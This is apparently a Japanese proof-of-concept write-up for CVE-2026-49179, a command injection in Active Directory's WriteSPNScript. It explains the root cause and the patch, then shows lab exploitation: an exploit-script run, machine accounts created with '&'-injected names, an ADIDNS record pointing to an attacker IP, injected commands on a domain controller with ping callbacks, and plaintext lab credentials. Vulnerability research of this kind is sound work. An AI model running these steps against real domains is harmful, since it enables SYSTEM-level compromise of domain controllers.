
CVE-2026-49179の概念実証およびエクスプロイトスクリプト。Active DirectoryのWriteSPNScript関数におけるコマンドインジェクションで、ドメインコントローラー上でのSYSTEM権限でのRCEを可能にします。
| 項目 | 値 |
|---|---|
| CVE ID | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (コマンドインジェクション) |
| 影響を受けるコンポーネント | ntdsai.dll — WriteSPNScript 関数 |
| 影響を受けるシステム | Windows Server 2016、2019、2022、2025 (パッチ適用前) |
| 攻撃ベクトル | 認証済みドメインユーザー (任意) |
| 影響 | ドメインコントローラー上での SYSTEM 権限によるリモートコード実行 |
| 公開日 | 2026年8月 |
ntdsai.dll 内の WriteSPNScript 関数は、Active Directory のメンテナンス操作中に SPN (サービスプリンシパル名) の修復用バッチスクリプトコマンドを生成します。この関数はフォーマット文字列を使用して repadmin.exe /writespn コマンドを構築しますが、識別名 (DN) パラメーターのサニタイズに失敗するため、& 文字 (cmd.exe のコマンド区切り文字) を介したコマンドインジェクションが可能になります。
脆弱なフォーマット文字列:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
パラメータ: SystemDir、WriteOp(ADD/DELETE)、DN、SPN_value
DN はマシンアカウントの Common Name(CN)から導出され、これはアカウント作成時に設定される。シェルメタ文字を含む名前でマシンアカウントが作成されると、それらの文字はエスケープされずに生成スクリプトへ流れ込む。cmd.exe がスクリプトを実行する際、& がコマンド区切り文字として機能し、攻撃者が制御するコマンドが SYSTEM として実行される。
Active Directory にはマシンアカウントを管理するための主要なプロトコルが 2 つある:
| プロトコル | 文字検証 | シェルメタ文字 |
|---|---|---|
| LDAP(SPN 値) | 厳格 — CONSTRAINT_ATT_TYPE が & ; | ' \ $ ( )` を拒否 | ブロック |
| SAMR(マシン名) | 緩い — 基本的なアカウント名の形式のみ検証 | 許可: & ' \ $ ( ) ! space` |
この検証の非対称性が根本原因である:
sAMAccountName 内のシェルメタ文字を許可し、それが CN となり DN へと流れ込むWriteSPNScript へ渡される未パッチのバイナリにおけるアドレス 0x1802a98a0:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA は DN を直接出力バッファにフォーマットします。エスケープもクォートもサニタイズも行われません。
CN=A&ping attacker&B のマシンの場合:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe はこれを 5 つの別々のステートメントとして解釈します:
| # | ステートメント | 結果 |
|---|---|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | 失敗 (切り詰められた DN) |
| 2 | ping attacker | 注入 — SYSTEM として実行 |
| 3 | B,CN=Computers,DC=... HOST/A | 失敗 (有効なコマンドではない) |
| 4 | ping attacker | 注入 — 再び実行 (SPN パラメータから) |
| 5 | B | 失敗 (有効なコマンドではない) |
注入されたコマンドは 2 回 現れます — 1 回は DN パラメータから、もう 1 回は SPN パラメータ (マシン名も含む) からです。
パッチ適用後の WriteSPNScript (サイズ: 1477 → 2005 バイト) は 3 つの変更を行っています:
DN と SPN の両方 のパラメータに適用される 2 つの新しいサニタイズ関数:
EscapeForPowerShellSingleQuote() — ' をエスケープして、単一引用符文字列からのブレイクアウトを防ぎますEscapeForNativeArgvBackslashesBeforeDoubleQuote() — ネイティブ argv 解析のために " の前の \ シーケンスをエスケープします| ベース (脆弱) | パッチ適用後 | |
|---|---|---|
| 関数 | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| 引用符 | なし | 単一引用符で囲まれたパラメータ |
| 出力 | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
以前のリビジョンには、修正を制御する機能フラグ Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled がありました。最終パッチでは、このフラグは 削除 されました — 修正は常に有効であり、無効化することはできません。
| ホスト | 役割 | IP | OS |
|---|---|---|---|
| WINTERFELL | ドメインコントローラー | 192.168.56.11 | Windows Server 2019 |
| Attacker | Kali Linux | 192.168.14.238 | Kali 2026 |
| ドメイン | north.sevenkingdoms.local | ||
| 低権限ユーザー | samwell.tarly / Heartsbane | 通常のドメインユーザー | |
| 管理者ユーザー | robb.stark / sexywolfy | ドメイン管理者 |
spn_probe3.py を使用して、マシンアカウント名で SAMR が受け入れる文字と、SPN 値で LDAP が受け入れる文字をテストしました:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
主な発見: SAMRはテストした8つのシェルメタ文字すべてを許可します。LDAPはそれらすべてをブロックします。インジェクションベクターはSPN値を通じたものではなく、SAMRで作成されたマシン名を通じたものです。
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
また、samwell.tarly としても作成されます:
[+] Created C&ping a&D$, RID: 1138
確認済み: 通常のドメインユーザー (PR:L) は、名前に & コマンドインジェクションを含むマシンアカウントを作成できる。
通常のドメインユーザーは ADIDNS レコードを追加できる。dnstool.py を使用して、攻撃者を指す短いホスト名を作成した:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
DC 上で解決を確認:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
WriteSPNScript が生成する正確な出力をシミュレートし、DC上で実行します:
ファイル書き込みの証明:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED
ICMP コールバックの証明:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
攻撃側の tcpdump で ICMP の到着を確認:
02:36:10.815690 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12
ファイル書き込みと ICMP コールバックの両方が、DN を介したコマンドインジェクションを裏付けています。
| ステップ | アクション | 実行者 | 結果 |
|---|---|---|---|
| 1 | SAMR がマシン名内の & を受け入れる | samwell.tarly (PR:L) | RID 1125、1137、1138 |
| 2 | LDAP が SPN 値内の & を拒否する | samwell.tarly | 100% 拒否 |
| 3 | コールバック用の DNS レコード作成 | samwell.tarly (PR:L) | a → 192.168.14.238 |
| 4 | インジェクション CN を持つマシンアカウント | samwell.tarly (PR:L) | A&echo POC&B$、C&ping a&D$ |
| 5 | cmd インジェクションによるファイル書き込み | DC (シミュレートされた WriteSPNScript) | proof.txt = "INJECTED" |
| 6 | cmd インジェクションによる ICMP コールバック | DC (シミュレートされた WriteSPNScript) | 3 件の ping を受信 |
マシンアカウントの sAMAccountName は、末尾の $ の前で約 15 文字に制限されています (NetBIOS 互換性の制約)。これによりペイロードの複雑さが大幅に制限されます。